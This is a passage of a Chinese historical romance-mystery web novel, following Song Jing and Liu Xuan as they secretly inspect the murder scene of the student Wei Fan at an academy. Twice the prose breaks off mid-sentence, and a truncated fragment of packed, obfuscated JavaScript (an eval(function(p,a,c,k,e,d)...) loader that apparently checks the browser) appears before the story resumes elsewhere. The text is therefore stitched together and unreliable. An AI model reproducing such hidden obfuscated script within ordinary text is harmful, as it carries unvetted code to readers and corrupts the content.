柳悬轻瞥了宋旌一眼,在移开视线前,朝宋旌递去一个意味深长的表情,仿佛是在说“你瞧我会不会信你的鬼话?”,接着,又瞪了宋旌一眼,才无奈地叹了声气,再度撇开脸,将那只由宋旌一手送还到他衣摆下的脚悄悄地藏进宽大的罩袍内。 也不知怎的,明明隔着厚厚的靴子,可柳悬仍旧会觉得脚心发烫,像是有火在烧一般,浑身上下都不自在。 宋旌读懂了柳悬的表情,尽管他对柳悬的心思仍是一知半解,可他莫名就是觉得柳悬是替他在担心。 宋旌起身,隐隐有些期待的目光在柳悬的脸上停留片刻,他似乎在犹豫,然后才鼓起勇气,轻手轻脚,试探着坐到柳悬身边。 坐下后,宋旌能感觉到柳悬的身体微微一僵,但很快又放松了下来。 他们仿佛被一层无形的屏障阻隔在车座两端,陷入了长久的沉默。 车厢内,时间好似凝固了一般,只有他们微弱的呼吸声在交织、碰撞,带着几分说不清、道不明的微妙。 柳悬此刻既没有驱赶宋旌的靠近,也没有再像方才那般拳脚相向。 就这样,时间仿佛被拉长,不知道过了多久,宋旌忽然感觉身侧传来一阵均匀而深沉的呼吸声。 宋旌心中一动,侧首望去,只见柳悬已经疲惫地阖上双眼,靠在车厢的壁板上,整个人随着马车的颠簸而轻轻摇晃。 这一刻,宋旌好像看见一个暂时卸下所有防备的柳悬。 在月光的映照下,柳悬那张清冷的脸上少了几分疏离,多了几分柔和。 宋旌默不作声地瞧着,一颗缓缓跳动的心脏像是不经意间被什么事物触动,令他感到一阵疼惜涌上心头。 宋旌伸出一只手,揽住柳悬那摇摇晃晃的身体,轻柔地托住柳悬的脑袋,让柳悬稳稳地靠着自己的肩。 当宋旌抱住柳悬时,他连每一次呼吸都禁不住变得谨慎起来,好似生怕惊扰了眼前这场宁静的梦。 …… 夜深时,盛京皇城内,月光如洗。 在一处临湖的厢房水台上,一道黑影如鬼魅般从天空中一闪而过,训练有素,动作干脆利落。 “主子,一切顺利,宋将军已插手魏子谦一案。”黑影俯首,单膝跪地,姿态恭敬而庄重,面朝一个侧躺于罗汉床上、身着繁复锦袍的矜贵少年,沉声禀报。 少年的身旁放着一盏香炉,炉中升腾起几缕青烟。 少年撩动身后的长发,在袅袅青烟中缓缓起身,随意地摆了摆手。 那黑影得了指令,便默默地退进浓浓的夜色里。 微风拂过,静谧的湖面下有一只金色的锦鲤一跃而起,在皎皎月光中,闪耀着盈盈水光,却又在一刹那之间,被一只破空的利剑射穿鱼眼,忽然便没了活力,毫无生机地沉入湖底。 …… 今日,丹良同宋旌他俩回得晚,用过轻红备下的晚膳后,已近二更天。 连松自从柳悬回府后,就一直跟柳悬与六一他们待在书房内。 柳悬还特意命飞雪守住宋旌,不让宋旌随意靠近。 待连松离开书房后,宋旌与丹良相视一眼,两人分别从左右两侧迅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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连松的声音戛然而止,他故意露出一抹包藏祸心的笑容,还有意抹去“后果自负”这四个字,就是为了给宋旌与丹良留下一点遐想的空间。 “嘿!”宋旌拧眉一瞪,他被连松挺起胸膛、一脸“忠心为主、甘愿赴死”的模样逗笑了,宋旌用木棍在连松的头上轻敲一下,发出短促的一声“嘭”,笑骂道,“你小子才吃了人家几顿饭,这胳膊肘就学会往外拐了。” 连松“哎哟”一声,大喊“冤枉”,忙抱住脑袋,逗得一旁看戏的丹良乐不可支。 宋旌没想到,才短短不过数日,他身边就出现了“叛徒”,这个被柳悬三言两语就成功策反的“叛徒”不仅会越过他,主动替柳悬办事,还会跟柳悬一起忽悠自己。 宋旌摇头,无奈一笑,柳悬不想让他从旁人那里打探消息,就是为了逼宋旌亲自去见他。 宋旌想到回程时柳悬还是一副气势汹汹的模样,即便他能猜到柳悬此举并不会让他轻易如愿,但他还是决定要去会一会柳悬。 从自己的卧房出来,宋旌瞧见柳悬的门正半掩着,门缝间透出一束明亮的光。 宋旌轻扬唇角,展颜一笑,朝柳悬高唤了一声“哥哥”。 柳悬置若罔闻,如宋旌所料,面无表情地推动两扇门扉,仿佛要将一切的烦扰同宋旌一起隔绝在门外。 就那样,当着宋旌的面,仅有的一点缝隙眼看着就要被柳悬彻底合上。 宋旌连忙大喊一声“哥哥且慢!”,三步并作两步,快步跨过一方庭院,一步登上数级石阶,不管不顾,伸出手,一把握住柳悬那即将合上的门板,急切地问道:“哥哥吩咐连松他们一同行事,究竟所为何事?” 柳悬的动作倏然凝固,十指宛若轻羽般轻轻搭在那扇半掩的门扉上,维持着那微妙而僵持的姿态。 是恻隐之心在不经意间悄然萌动? 还是内心的天平始终摇摆不定? 当宋旌的一只手猛然探入那狭窄如线的门缝时,柳悬的十指像是触碰到了炙热的炭火般,本能地向后一缩,力量在不经意间卸去了大半,那份紧迫的危机感也悄然消散。 柳悬缓缓抬头,目光与面色焦急、气息未定的宋旌相遇,神色宛若寒霜,态度异常坚决,只冷冰冰地回了一句:“无可奉告。” 两人的视线在半空中紧紧交织,犹如两道汹涌澎湃的暗流,在静默中激烈碰撞,溅起无数火花,让空气中弥漫开一股无形的硝烟。 宋旌从柳悬那淡漠的眼神里,捕捉到一丝难以言喻的幽怨,它似薄雾中稍纵即逝的微光,又似夜空中孤悬于天际的一点黯淡星辰,令宋旌心中无端涌出一股莫名的不安。 宋旌紧抿双唇,沉默不语,仿佛是与柳悬在暗中进行一场较量,他非但并未松开紧握住门板的手,反而毅然决然地将半个身子硬生生挤进那狭窄的门缝中,企图去阻止门的闭合。 柳悬眼见门扉无法合拢,索性就撒手不管,任由它半开半闭,随后轻轻一推两侧木轮,将他与宋旌之间的距离悄然拉长,声音凌冽,字字句句间透露出无尽的疏离:“宋公子还有事?” 29.长青 柳悬明知故问,转动身下轮椅,朝书房内行去。 宋旌见状,急忙跟上,脚步匆匆,踏入书房。 “关于蒋礼一事?”宋旌紧跟柳悬,笑得一脸灿烂,谄媚又讨好。 像是生怕惹得柳悬不快,柳悬又会狠心将自己赶出门,宋旌的一举一动都极为小心谨慎,甚至还像模像样地抱拳行礼,那腰弯得仿佛要将头贴到地上去。 “哥哥可愿指点一二?”宋旌弯腰抬头,一双明亮的眸子里闪烁着几分期待,直落在柳悬的身上,就像一只渴望得到抚摸与回应的小狗,正眼巴巴地望着主人。 柳悬将轮椅停在窗前,逐一放下支起每一扇窗柩的叉竿,冷笑一声,故意用尖酸刻薄的话,向宋旌反问道:“那不是宋公子在众人面前夸下海口,要一力侦破此案?与柳某又有何干系?” 柳悬轻瞥了宋旌一眼。 那眼神像是一把锋利的刀子,扎在宋旌的心间,将宋旌扎出了一个洞,扎得他一时语塞,愣怔了一瞬,才出声应道:“那还不是因为……” 宋旌心中委屈,他耷拉下眉眼,像是被主人厌弃的小狗,垂头丧气,转身,踱步至柳悬的书桌前,坐下,在柳悬不注意时,用狡黠的目光不经意间掠过桌上铺开的几本书册与纸张,口中争辩道:“哥哥说的话实在太过深奥,让我误以为哥哥句句是在传递魏子谦一案另有冤情的讯息,我一个年年考核堪堪及格的武夫,哪里会有推凶断案的本事?我不过是仗着有哥哥撑腰,又不想冤枉了无辜,这才有几分底气,敢在公堂上顶撞他们……如今,我不小心得罪了他们,依他们那小肚鸡肠的性子,尤其是何顺那厮,估计巴不得当堂将我打死,倘若……倘若连哥哥也不管我……” 宋旌的声音越说越小,最后居然细微得犹如蚊蚋之声。 柳悬看向宋旌,只见宋旌露出无奈又苦涩的一笑。 柳悬并未直接回答,而是收回视线,捧起香案上的香炉,左手持香炉,以顺时针的方向,缓缓转动,右手则持灰押,以垂直向下的姿势,一下一下,轻压香灰,动作娴熟而优雅。 此刻,柳悬的眸光似一汪瞧不见底的深潭,潭中有复杂的心绪游动,他好像是在思考,又好像是在等待。 就在宋旌起身,脚步一转,从书案前大步流星地走向柳悬所在的香案时,柳悬正好放下手中的灰押。 “哥哥当真不打算帮我?”宋旌在柳悬的身侧蹲下身来,趴在柳悬的双膝上,一双盈满水光的眼中充满了哀求,像一只被无情抛弃的小狗,正无助地望着柳悬,颓丧地匍匐在地上,叫人一眼瞧去,十分可怜。 柳悬掠过宋旌的头顶,无视掉宋旌那双会说话的眼睛,取下香案上的灰扫,将炉壁上沾染的白灰清扫干净,只淡淡地吐出两个字:“不帮。” 说完,为了彰显自己的态度,柳悬还扔下宋旌一人,以决绝的背影转身,独自推动轮椅,径直回了里屋。 宋旌起身,在里屋的门前,朝漆黑一片的室内探头探脑,见柳悬好似真的不愿意再搭理他,宋旌一边长吁一口气,一边用失落的语气,“情真意切”地叮嘱道:“原是宋旌会错哥哥的意,还自作多情,自以为哥哥定不忍见我受罚,哥哥既已无意再顾宋旌的生死,那便请哥哥早些歇息,倘若宋旌日后不幸殒命于廷仗之下,哥哥身旁少了宋旌侍奉,还望哥哥务必珍重贵体。” 说完,宋旌微微倾身,侧首,不自觉地竖起耳朵,像一只警觉的小兽,仔细地聆听着里屋传来的每一丝细微动静。 见柳悬一直不肯出声,宋旌在柳悬的书架前缓缓踱步,目光在一排排书脊上轻轻扫过,似乎在寻找什么,却又似乎只是在漫无目的地徘徊。最终,宋旌轻叹一声,双手负于身后,慢悠悠地离开了书房。 走出房门,宋旌下意识地回头,正好瞥见柳悬房中的灯火熄灭,见此情景,宋旌的心中顿时百感交集。 一想到柳悬桌上那张被书册遮掩得严严实实的英才院方位图,以及连松那遮遮掩掩的模样,在柳悬那看似冷血无情、实则处处留情的表象下,宋旌忍不住低笑出声,那笑声里带有几分意犹未尽的兴味。 不知为何,重活一次,宋旌总觉得眼前的柳悬,比起他记忆中的柳悬,要多了几分真实,少了几分伪装…… 然而,柳悬的变化也着实让宋旌有些摸不着头脑,他也不确定是因为自己曾经的自以为是,导致自己错过了许多?还是因为风起于青萍之末…… 宋旌回到自己的屋中,又耐心地等待了一会儿。直至三更天,月黑风高,夜深人静时,他才懒洋洋地抻了抻胳膊,从矮榻上缓缓起身。 在夜色的笼罩下,只见宋旌双手负于身后,身形轻盈,轻轻一跃,便在瞬息间闪现至风斋院外,宛如一只灵巧、慵懒的夜猫,在月光下悠闲散步。 从风斋启程,一路向南,直至兰馨殿东侧的静思苑,宋旌故意不选那飞檐走壁的梁上捷径,反而一反常态,选择了悠然漫步于月色小径。 独自一人,在空旷的英才院内,如鬼魅般,时走时停。 一路上,宋旌一边思量着魏凡一案要如何破局,一边仔细留意着身后约莫三十步外的细微动静,他的步伐中似乎天然带有几分警惕与从容。 眼见身后那只总是在不经意间藏头露尾的小狐狸越跟越近,宋旌的脸上不由自主地扬起一抹玩味十足的笑意。 那鬼鬼祟祟的小家伙在宋旌的身后跟了五六里地,一路上,他好不容易藏住了两只刚冒出来的耳朵,又一不小心,露出一小截尖尖的尾巴,等他注意到自己流落在外的尾巴,并小心翼翼地抱紧那一条毛绒绒的大尾巴时,他一不留神,又会竖起一双灵动的大耳朵。 从宋旌现身于风斋院门前起,那手忙脚乱的小家伙就一直如影随形。 只是,那莽撞青涩的小狐狸到底是抵不过沉稳老练的大老虎。 当对方那十分笨拙又极其生疏的脚步在寂静的夜里发出轻微的声响时,立马就引起了宋旌的注意。 宋旌很难不去在意对方那不同寻常的胆量与毫无用处的技巧,更忍不住生出几分逗弄的心思,甚至故意去配合对方的节奏,好似变戏法一般,时而将身影隐没于如墨的夜色中,时而又悄然浮现于皎洁的月光下,就像一只颇有几分恶趣味的黑猫在玩弄一只股掌之间的老鼠,总在对方失望的时候给予对方希望,又在对方信心倍增的时候不留情面地予以重击,惹得对方忙得气喘吁吁、自乱阵脚,逗得对方急得愁眉苦脸、抓耳挠腮。 宋旌就这样优哉游哉,不慌不忙地闲逛至静思苑的假山迷宫前。 当那条小尾巴紧随宋旌钻进那错综复杂的假山群后,宋旌忽然在一块三丈高的湖石前身形一闪,消失得无影无踪。 对方没想到宋旌居然能在自己的眼皮子底下,于山穷水尽的绝境中,犹如一阵清风般,凭空飘散于天地间。 他惊愕地瞪大一双不明所以的眼睛,在生出几分懊恼与不甘的同时,震惊得全然忘记了自己最初跟踪宋旌的目的,竟然急匆匆地跑到垂直的石壁前,将自己毫无保留地暴露于月色下,在一整块光滑的石壁上不停地上下摸索,想找出宋旌的蛛丝马迹,并破解其中暗藏的玄机。 “哥哥?” 弹指一挥间,神出鬼没的宋旌像是神兵天降一般,倏尔出现在小尾巴的身后。 此时,那裹得严严实实的小尾巴就像一只猎食失败的狐狸正耷拉着耳朵,完全沉浸于宋旌带来的挫败中。 当诡计得逞的宋旌用低沉的嗓音向柳悬的耳畔发出恶魔的低语时,柳悬浑身的汗毛都炸开了,活像一只惊慌失措的小兽,本能地想要迅速逃离。 可宋旌却猛然攥住柳悬放置在石壁上的两只手,从柳悬的身后,左手将柳悬的左臂抵压在冰冷的石壁上,右手将柳悬的右臂反剪其后,一具身躯压着另外一具身躯,让柳悬紧贴着平整的石面,毫无反抗的余地。 “哥哥。”宋旌紧贴在柳悬那白皙的颈项间,鼻尖轻蹭着柳悬耳后的发丝,感受着肌肤下那若有似无的脉搏,贪念着柳悬身上那一股独有的淡香,在微光下,他那双灿若朝阳的眸子正隐含着一道若明若灭的幽光,仿佛潜藏着不可预知的危险,“哥哥平素一向敏锐谨慎,为何尾随时如此轻率莽撞、不知轻重?若是哥哥往后再让心怀不轨之人有所察觉,岂不是要令我牵肠挂肚?伤透脑筋?” 柳悬被宋旌严丝合缝地压着,他能明显感觉到宋旌的胸腔在微微颤动,当宋旌说完最后一个字时,柳悬终于听见压抑不住的宋旌发出一阵极为畅快的笑声。 “宋旌!”柳悬双拳紧握,蹙眉,奋力挣扎数下,气的满面通红,眼下,柳悬虽然看不见宋旌的表情,但是仅凭宋旌那肆意撩拨柳悬心弦的声音,便令柳悬觉得羞愤难当,恼羞成怒地低吼道,“松开!” 宋旌今日也不知怎的,像是彻底跟柳悬较上了劲儿,竟不为所动,暗中收紧手中的力道,誓要让柳悬好好长长记性。 柳悬见来硬的不行,心思一转,忽而发出“嘶”的一声痛呼,略显娇气,向宋旌喊了一声“疼”。 这一声,喊得恰到好处,算是喊到了宋旌的心坎儿上,喊得宋旌一愣,在鬼使神差下,不自觉地松了手。 柳悬趁机收回双臂,猛踩宋旌一脚,在一雪前耻的同时,将愣头愣脑的宋旌推得打了一个趔趄。 宋旌急退数步,勉强稳住身形,疼得原地抬脚直跳,直到他眼见柳悬已径直走出迷宫死角,他才连忙追上前。 “哥哥不是不帮么?”宋旌腆着脸,贱兮兮地凑到柳悬眼前,笑得甚是娇艳。 柳悬横了宋旌一眼,紧绷着脸,肃然厉声道:“别叫我哥哥。” 宋旌笑得更加肆意,丝毫未受柳悬的影响,脚步轻快,大步走到柳悬身前,转身,面朝柳悬,一边以倒退的步伐平稳移动,一边端详起柳悬那微妙的表情,打趣道:“不唤哥哥,该唤什么?” 柳悬本想让宋旌闭嘴,不要再同他说话,可他一想到宋旌那比牛还倔的脾气,想来应该不会轻易听话,所以干脆什么都不说,只给了他一个“你自行体会”的眼神。 宋旌瞅了柳悬一眼,故作沉思,手指摩挲着下巴,刻意拖长音调,“不叫可不行。” 在宋旌自言自语时,他抬起双眸,一双飞扬的眼睛忽然亮了亮,他刚跃跃欲试地想叫柳悬一声“哥哥”,就迎上柳悬那严厉的眼神警告,于是他紧急咽下快脱口而出的两个字,话锋一转,舒眉一笑,为难道:“既然你好不容易来了,你我同行,我岂能一语不发?” 宋旌故意眨了眨眼睛,抿紧双唇,一脸无辜,眼巴巴地望向柳悬,就像是被柳悬施了一道禁言术,也不肯再多说两句,只凭那一双水灵灵的眼睛来传递某种祈求的讯息。 柳悬见宋旌一副耍赖的模样,嘴角忍不住微微抽搐,心中无端生出几分悔意,暗自责怪自己不该一时心软,给自己平添事端。 “既然你非要有个称谓,便唤长青。”柳悬停下脚步,轻叹一声。 他不让宋旌唤他“哥哥”,并非是他跟宋旌在赌气,也不是他对宋旌方才的偷袭仍心存芥蒂,而是他出于深思熟虑的谨慎之举。 他不想过早暴露自己的身份,尤其是在毫无遮掩、引人注目的地方。 他与宋旌并肩而行,本就容易引起旁人的猜疑,若是宋旌再无所顾忌,一口一个“哥哥”地叫着,那岂不是明摆着告诉全天下的人,柳悬这个“瘸子”其实是假的吗? 柳悬可不想自己苦心经营的形象因宋旌而毁于一旦。故而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那眼泪珠子,像是一颗颗被熔岩烧灼过的火球,带着无尽的哀伤与不舍,烫得柳行舟那原本疲惫不堪的笑容里,裂开一抹难以掩饰的痛苦与挣扎。 “倘若子夏未曾思量,那为父先为子夏琢磨一个,可好?” 柳行舟的嗓音沙哑,许久未进一滴水的喉咙像是卡了一块咽不下去的石头,锋利的石子从嗓子一路割破他的前胸,像是要往他本就无知无觉的心里钻。 柳行舟看着子夏那还不及他半个掌心大的拳头,他不敢言明,他也怕,怕自己永远无法踏出桃州这片土地,怕他从此再也无法陪伴子夏与沐雪经历未来的每一个春秋。 子夏从小就有一颗七窍玲珑心,他不需要柳行舟将话说得太明白,就已经察觉到了柳行舟的用意。 可是小小的他又能改变什么呢?他只能嚎啕大哭,将所有的委屈与不舍发泄出来。 他瘦小的身躯在高大的城墙下,不停地上下起伏,止不住的抽噎间,好不容易才勉强挤出一个“不”字。 那是弱小又无助的他唯一能挽留父亲的方法。 柳行舟褪去身上那件沉重的盔甲,露出那满是血污与累累伤痕的躯体,他将子夏轻轻地拥入怀中,极致温柔,就像他每一次抱起子夏,漫步在田间,为他讲解书中的故事一样。 “孩子,莫怕,一切都会过去的……” 那一夜,柳行舟怀里紧抱着半梦半醒的柳悬,他小心翼翼,无比珍视,就好像怀里的小人是他毕生最重要的宝藏。 柳行舟站在桃州满是残骸的城墙上,他望着身后那无家可归的数万人,在夏沐雪安抚好身旁的伤员,放下手中的药碗,抬头与他遥遥相望时,他眼中的犹疑逐渐散去。 柔柔夜风里,柳行舟怀抱着柳悬,在柳悬的耳边轻轻吟了一首诗: 柳色长青沐晚霞, 老幼相携话桑麻。 和风悄抚传笑意, 围炉夜话乐无涯。 吟罢,柳行舟恋恋不舍地轻抚着柳悬的发丝,在没有满堂宾客、锣鼓喧天,没有红绸满挂、歌舞升平的滚滚硝烟中,以日月为鉴,请苍生作证,柳行舟独自喃喃道:“令月吉日。始加元服。弃尔幼志。顺尔成德……子夏,吾今日赐字‘长青’予你,愿你往后人生,前路坦荡无阻,平安顺遂,如柳色一般,长青不衰。” 柳行舟的声音逐渐远去,像是回归了历史的长河,取而代之的是,宋旌一脸若有所思,用余光不停地去瞧身侧的柳悬,就像是要将柳悬给瞧出朵花似得,盯着柳悬瞧了很久,才犹豫不决地回了一个“哦”。 此前,宋旌对柳悬的冠礼并未给予太多关注。回想往昔,柳悬上一次,就是在圣上将五公主赐婚于宋旌后,忽然弃考,主动将唾手可得的状元之位拱手让人,甚至连太子太傅与圣上身旁的李公公携高官厚禄,同时上门去规劝他,也是徒劳无功;后来,在宋旌大婚之日的前一夜,柳悬竟然选择不辞而别,与轻红他们消失得无影无踪,只字未留,从此了无音讯;直至,宋旌被圣上派往西南平乱,两人于雀山重逢,宋旌才知道柳悬成了西南起义军的军师……故而,宋旌关于柳悬离京以后的处境也知之甚少,并不清楚柳悬的字是从何而来,只知道他被柳悬救下后,周屹便一直唤柳悬为“长青”。 “今夜,你心中可已有去处?”柳悬调整好心情,向宋旌投去审视的目光。 宋旌收回游离在外的神思,恍若从遥远的梦中猛然惊醒,他将视线平移至英才院的南方:“不是说,耳闻不如一见?既不可轻信人言,那何不故地重游,亲自一探究竟?” 宋旌的想法难得与柳悬不谋而合,两人相视一眼,随即展露笑颜。 30.小楼 从兰馨殿东侧到南面的落霜院还剩六七里地。 两人到落霜院时,正好子时过半。 此时,落霜院的院门紧锁。 宋旌为了不打草惊蛇,本想从落霜院南侧用于存放杂物的库房处,翻墙入内。 可柳悬却忽然拽住他,直接坦坦荡荡地叩响了落霜院的正门。 宋旌只见柳悬在门上轻叩三声,落霜院的大门便从内应声而开。 “卑职参见将军。” 那守门的火长一见到宋旌,就忙不迭地跪伏于地,恭恭敬敬地行了一个标准的军礼。 宋旌的目光落于身前少年的身上,他瞧见颇有些眼熟的身影,不禁讶然道:“万平安?你怎会在此?” 平安见宋旌一脸震惊,心中不由得泛起一阵疑虑,思绪飞转间,连松日间那一番语重心长的叮咛又在他的耳畔响起。 ——平安,英才院里突发一起性质极为恶劣的命案,将军担忧会有居心叵测的歹人趁机混入其中,对皇室不利,故而特命你率几名精锐,协同黄统领的宿卫兵一同镇守命案现场,你务必小心防范,见机行事,万不可有丝毫懈怠。 平安愣了愣神,他不明白宋旌为何会有此问,但又不敢随意揣测将领的用意,一张质朴的脸上显露出一丝迷茫,连忙实话实说道:“卑职谨遵宋统领的调令,听从黄统领的安排,与一众坊间宿卫共同监守于命案现场,亥时末,得到宋统领的指示,说将军过会儿会来,便一直候在此地。” 平安一脸懵懂,望向宋旌,又偷偷瞄了一眼宋旌身边捂得严严实实的少年,不敢直起身来。 宋旌凝思片刻,一脸狐疑,似不经意间瞥了柳悬一眼。 宋统领?连松?黄统领?应该是清晨刚遇上的黄一博? 宋旌见柳悬始终一副云淡风轻、从容不迫的模样,心中那原本模糊的猜测,此刻也渐渐变得清晰起来,他料想万平安一行人能驻守在落霞院内,定然跟柳悬不肯让连松向他私下透露的事有着千丝万缕的关系。 柳悬的心思还是那样深沉,就像是永远望不见尽头的深渊一般,就连宋旌可能会去哪儿,都算得清清楚楚,甚至一早就预料到宋旌一定会从风斋的正门路过。 宋旌轻叹一声,一想到柳悬即便早有筹谋,也不肯轻易向他透露,他就不知道自己到底是该喜还是该忧:“此番,连松让你带了几人?” 宋旌扶了扶平安交叠于发顶上的一双粗糙的手,示意平安起身回话。 平安抬眼望去,见宋旌的神色已不复先前那般凝重,不再面露疑色,心中不禁暗自松了口气,庆幸自己没有犯错。 “算上我,共六人,”平安回话时还是有一些紧张,或许是从未直面宋旌,出于面临强者时的敬畏与恐惧,平安的嗓音微微轻颤,小心翼翼地答道:“除我以外,皆分布在案发地附近,另有十几名宿卫守在魏公子的小院四周。” 宋旌大致了解了情况,在确保柳悬没让连松胡来以后,便命平安带路。 一路上,柳悬始终落后半步,藏在宋旌的阴影下。 两人穿过几个花园,在落霜院内走了很长的一段路,才走到魏凡生前的居所。 英才院内,一般按诸位门生家中最高的官职品级来安排住所。 通常,一个挂了匾额的院落里至少会有十几个到几十个不同规制大小的独立小院。 其中,惜露院是英才院所有院落中配置最高的居所,拥有十八个差不多大小的独立院落,住得是二品以上的官家子弟,而承风院则稍次一些,拥有四十几个大小不一的小院,住着正三品一级的官家子弟,譬如周屹就住在此处。 其次,则是落霜院与栖霞院,两院主要安排正三品以下、正五品以上的官家子弟居住其中,各有六七十个大小不一的小院。 最后,才是英才院北面一些不成规模的杂院,里面往往安排正五品及其以下品阶的官家子弟居住。 这些由错落有致的小院组合而成的院落群,并不是以院子的数量来决定其所占地面积的大小,而是充分地体现了品级与居住条件间的正比关系。 换言之,品级越高者,其居所不仅会更为宽敞明亮,且布局设计皆显匠心独运,让人居住其中,倍感舒畅。 即便是在同一品级、共享同一方天地的院落中,各个院子的大小、布局,乃至装饰的细节,也会根据居住者身份的尊卑而有所区分,恰似那出生时便带有的徽记一般,无声地诉说着主人的高低贵贱。 正如柳悬眼前的八角小楼,其风姿在落霜院内,可谓是首屈一指,堪称标志性的存在,让人一眼望去,就能瞧出魏凡的家世不凡。 宋旌见魏凡的门上贴着封条,正打算带柳悬直接腾空飞上去。 可柳悬却率先一步,在宋旌意欲揽向他的腰际时,不紧不慢,走上台阶,抬手揭去门上封条,好像大理寺的律令于他而言,不过是一纸空文。 两张封纸就那样轻飘飘的落下,而柳悬则堂而皇之,推门而入。 宋旌心中一惊,连忙快步跟上,显然是被柳悬的举动给吓了一跳,他的心中不免生出些疑虑,暗道柳悬不该如此鲁莽。 所幸,现下,八角楼四周静谧无人,唯有夜风拂过。 宋旌在踏入八角楼之前,顺手拾起地上的封纸,借着月光仔细端详,才发现纸面上虽书有衙署与年月日,但并未加盖大理寺的官印。 宋旌摸着那崭新的墨迹,心中又不免暗暗松了口气,眉头也略微舒展,仿佛有一块巨石从心头落下。 宋旌见屋内的柳悬竟径自点燃了八角楼中的烛火,仿佛有意让落霜院的众人皆能目睹,对他们的行踪毫不掩饰。 宋旌那刚舒展下的眉头又微微蹙起。 一时之间,宋旌如坠迷雾,暂时还猜不出柳悬那深藏不露的心思。 沉吟片刻后,宋旌转身,又向平安低语了几句,要他细心留意周遭动静,既需谨防他人随意靠近,又需及时向他禀报外间的种种情形。 宋旌随柳悬进屋,柳悬果然在他准备合上房门时,出声制止了他。 火光摇曳,与月光交融,将屋内的景致映照得明明灭灭。 宋旌环视四周,只见魏凡的居所异常宽敞,恍若一座缩小的宫殿。 小楼八面来风,清风穿堂而过,带着一丝丝凉意与不可捉摸的暗香。 其中,有六面宽窗,每一扇窗前都悬挂着轻盈如蝉翼的轻纱,那轻纱细腻得仿佛能捕捉到风的呼吸,随风起舞,宛若神女的裙摆,与之相配的,是用难得一见的名贵绸缎精心缝制而成的帷幔,帷幔上图案繁复、色彩斑斓,每一针、每一线都凝聚着缝制者的心血与汗水,它们轻轻垂落在地上,与轻纱在微风中交织缠绵,将小楼装点得既奢靡又梦幻。 在大门对面,还有两扇精雕细琢的镂空木门巍然挺立。木门上,雕刻着栩栩如生的花瓣与叶子,花团锦簇间,或山水相依,或花鸟争鸣,每一幅都是别具匠心的杰作。 从门上的空隙向外看去,能看见八角小楼后的鱼池假山与锦簇繁花。 在那一副精美的山水画中,有一方池台修筑于水面之上,台上放着一张黑色的茶几与几个精致的蒲团。 当人悠闲地坐于蒲团上时,四周有白色的水雾袅袅升起,如梦如幻,仿佛置身于桃源仙境,能忘却尘世纷扰。 再看室内屋顶的正中央,一盏并蒂莲花灯璀璨夺目,高悬于顶。 那莲花灯以精铜铸就,表面覆以一层细腻的釉彩,整体上,以淡雅的青白色为主色调,花瓣边缘微微泛着些浅粉色,呈现出温润的质感。 莲花灯的灯座上,两朵花紧密相连,又各自绽放,花瓣层层叠叠,若是被点亮,则会引燃无数盏高低错落的小灯,就像莲花盛开时,花香四溢那般,将耀眼的灯光洒向四面八方,点燃漫天星火。 莲花灯下,一张由动物皮毛拼接而成的柔软地垫缓缓铺陈开来。 地垫之上,赫然陈设着一面气势恢宏的巨鼓,鼓面紧绷,光洁如镜,反射着周围的光影,不知有何用处。 围绕着中心的巨鼓,四周井然有序地陈列着八张宽阔大气的方桌、方榻,犹如众星拱月一般。 其中,正对大门的那张方榻之后,还矗立着一道大气磅礴的巨型屏风。 屏风之上,一副完整的禇地地图,跃然其上,巧妙地将室内宴饮的欢声笑语与室外旖旎的山水风景,隔绝成两个世界。 宋旌与柳悬沿两侧如弯月般精巧的弧形楼梯拾级而上,踏入魏凡的寝居。 入目所及之处,是一把镶嵌着璀璨宝玉的玉弓。 那巨大的玉弓正悬挂在魏凡的床头。 床上湿漉漉的,被褥翻卷,凌乱中透露出一股暧昧的气息,像是经历过一场酣畅淋漓的激战,房间内似乎还残留着浓浓的酒味与一抹若有似无的栗花味。 楼上的装饰愈发繁复精美,宋旌踏上的木板皆是京中少见的上好木材。这些木材将楼上的空间向上托举三尺,不仅使屋内的空气流通,自带清风,还让魏凡的寝居内能修建起罕见的活水汤泉。 环顾整个寝居,魏凡的床榻局中,位于八角楼的北侧。 东侧,有相邻放置的书案与食案,食案上,佳肴残存,香气缭绕,似乎还能嗅到一丝未散的余香;书案左侧,几把形态各异的凳子错落陈列。 西侧,宽阔的棋案、茶案旁,设有高大的木架,几排木架上摆放着琳琅满目的酒水宝器与玉石文玩,每一件都价值不菲。 南侧,弧形楼梯蜿蜒而下,与魏凡的寝居相连,在南侧的墙面前,设有一个文人雅室内少见的玩意儿。 最引人注目的,便是地面上宽五尺、长八尺、高五寸的嵌地沙盘;沙盘右侧,有两三个签筒并排而立,签筒内,装着无数又细又尖的玉签子。 宋旌偷偷瞄了柳悬一眼,只见柳悬循着地板上那两道触目惊心的血脚印,款步前行。 柳悬绕过正中央、氤氲着热气的活水汤泉,笔直地朝着寝居东侧而去。 寝居东侧,书案四周,格外杂乱。 地面上,一片凌乱的脚印与点点滴滴的血迹闯入宋旌的视野。 书案左侧与书案后方的地面上,星星点点的血迹恰似一场骤雨过后,顺着老树枝条缓缓滴落下来的水珠,淅淅沥沥地溅落在地面,呈现出完美的圆形点滴状。 而书案后方的圈椅上,椅背处纵向分布的几道血痕,自上而下、深浅不一、边缘模糊,好似有人匆忙落座时,脊背在不经意间擦过,留下了痕迹。 柳悬仔细观察起书案四周,目光从一半空旷一半凌乱的桌面上滑过,平移至一侧狼籍一侧整洁的地面上。 “宋公子。” 柳悬突然打破小楼内的沉寂,让蹲在沙盘前的宋旌闻声而动,脚步轻抬,朝柳悬靠近,在他的身侧站定。 “宋公子从魏子谦遗留的血痕中可能瞧出一丝端倪?” 柳悬轻语,边说边退后半步,以邀请的姿态,示意宋旌上前细察。 宋旌锁眉,眉间有几分凝重,他蹲下身子,仔细端详起地板上的血迹,又顺着那两条明显的血迹,一路看向旋梯。 